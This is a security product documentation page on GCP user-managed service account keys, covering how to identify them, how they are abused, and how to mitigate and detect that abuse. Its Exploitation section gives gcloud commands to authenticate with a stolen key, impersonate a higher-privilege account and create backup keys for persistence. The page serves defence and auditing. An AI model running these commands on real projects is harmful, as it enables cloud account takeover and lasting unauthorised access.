> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_has_service_account_key.md).

# GCP\_HAS\_SERVICE\_ACCOUNT\_KEY

## Summary

|                            |                                 |
| -------------------------- | ------------------------------- |
| **FSProtect ACL Alias**    | GCP\_HAS\_SERVICE\_ACCOUNT\_KEY |
| **GCP Alias**              | Entity Relation (Structural)    |
| **Affected Object Types**  | Service Accounts                |
| **Exploitation Certainty** | Certain                         |

## Description

`GCP_HAS_SERVICE_ACCOUNT_KEY` is a structural edge representing that a **service account has a user-managed (downloadable) key**. In GCP, service accounts can authenticate using either:

1. **Google-managed keys** — short-lived, auto-rotated, not downloadable.
2. **User-managed keys** — long-lived JSON key files that can be downloaded and used from anywhere, indefinitely.

`GCP_HAS_SERVICE_ACCOUNT_KEY` edges represent user-managed key relationships — the most dangerous form of SA credential because they are **persistent**, **location-independent**, and **not tied to any GCP resource or IP**. A downloaded key file grants the SA's full permissions from any machine on the internet, bypassing network controls and logging that might detect unusual API calls.

The existence of a `GCP_HAS_SERVICE_ACCOUNT_KEY` edge on a privileged SA is critical — it means the SA's permissions are accessible via a static credential that may have been distributed, stored in code repositories, or leaked in past incidents.

## Identification

### gcloud CLI

```bash
# List all user-managed keys for a specific service account
PROJECT_ID="my-project"
SA_EMAIL="sa@$PROJECT_ID.iam.gserviceaccount.com"
gcloud iam service-accounts keys list \
  --iam-account=$SA_EMAIL \
  --managed-by=user \
  --project=$PROJECT_ID \
  --format="table(name.basename(), validAfterTime, validBeforeTime, keyAlgorithm)"

# Find all SAs in a project that have user-managed keys
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  KEYS=$(gcloud iam service-accounts keys list --iam-account=$SA --managed-by=user --project=$PROJECT_ID --format="value(name)" 2>/dev/null)
  if [ ! -z "$KEYS" ]; then
    echo "SA with user-managed keys: $SA"
    echo "$KEYS"
  fi
done
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Service Accounts**.
2. Click a service account → **Keys** tab.
3. Any key listed under **User-managed keys** represents a `GCP_HAS_SERVICE_ACCOUNT_KEY` edge.

## Exploitation

If a SA key has been exfiltrated — leaked from a source repository, CI/CD log, cloud storage bucket, or config file — an attacker can authenticate as the target SA from any internet-connected machine without any GCP infrastructure.

### gcloud CLI

```bash
# Authenticate using the stolen key file
gcloud auth activate-service-account --key-file=/path/to/stolen-key.json

# Confirm the active identity and obtain an access token
gcloud config get-value account
gcloud auth print-access-token

# Call GCP APIs as the target SA
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

# If the SA holds serviceAccountTokenCreator on other SAs, chain impersonation
HIGH_PRIV_SA="org-admin@target-project.iam.gserviceaccount.com"
gcloud auth print-access-token --impersonate-service-account=$HIGH_PRIV_SA

# Create additional keys on other SAs for redundant persistence
BACKUP_SA="backup-admin@target-project.iam.gserviceaccount.com"
gcloud iam service-accounts keys create /tmp/backup-key.json \
  --iam-account=$BACKUP_SA
```

The key file is valid indefinitely until explicitly revoked — even if the attacker's original IAM bindings are removed, the stolen key continues to authenticate as the SA.

## Mitigation

1. Audit all user-managed keys in the organization and delete any that are no longer needed, preferring Google-managed keys wherever possible.
2. Enforce the `constraints/iam.disableServiceAccountKeyCreation` org policy to prevent SA keys from being created across the organization.
3. When keys are genuinely required, set an expiration time at creation using the `--expiration-time` flag.
4. Rotate any existing keys on a maximum 90-day cycle.
5. For workloads running outside GCP, use Workload Identity Federation instead of SA keys to eliminate the need for long-lived downloadable credentials.

## Detection

```bash
# Monitor SA key creation
gcloud logging read \
  'protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
```

Alert on:

* Creation of SA keys on privileged service accounts.
* SA keys created outside of known CI/CD systems or automation accounts.

## References

* <https://cloud.google.com/iam/docs/service-account-creds>
* <https://cloud.google.com/iam/docs/best-practices-service-accounts#avoid-key-risks>
* <https://cloud.google.com/iam/docs/keys-create-delete>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_has_service_account_key.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
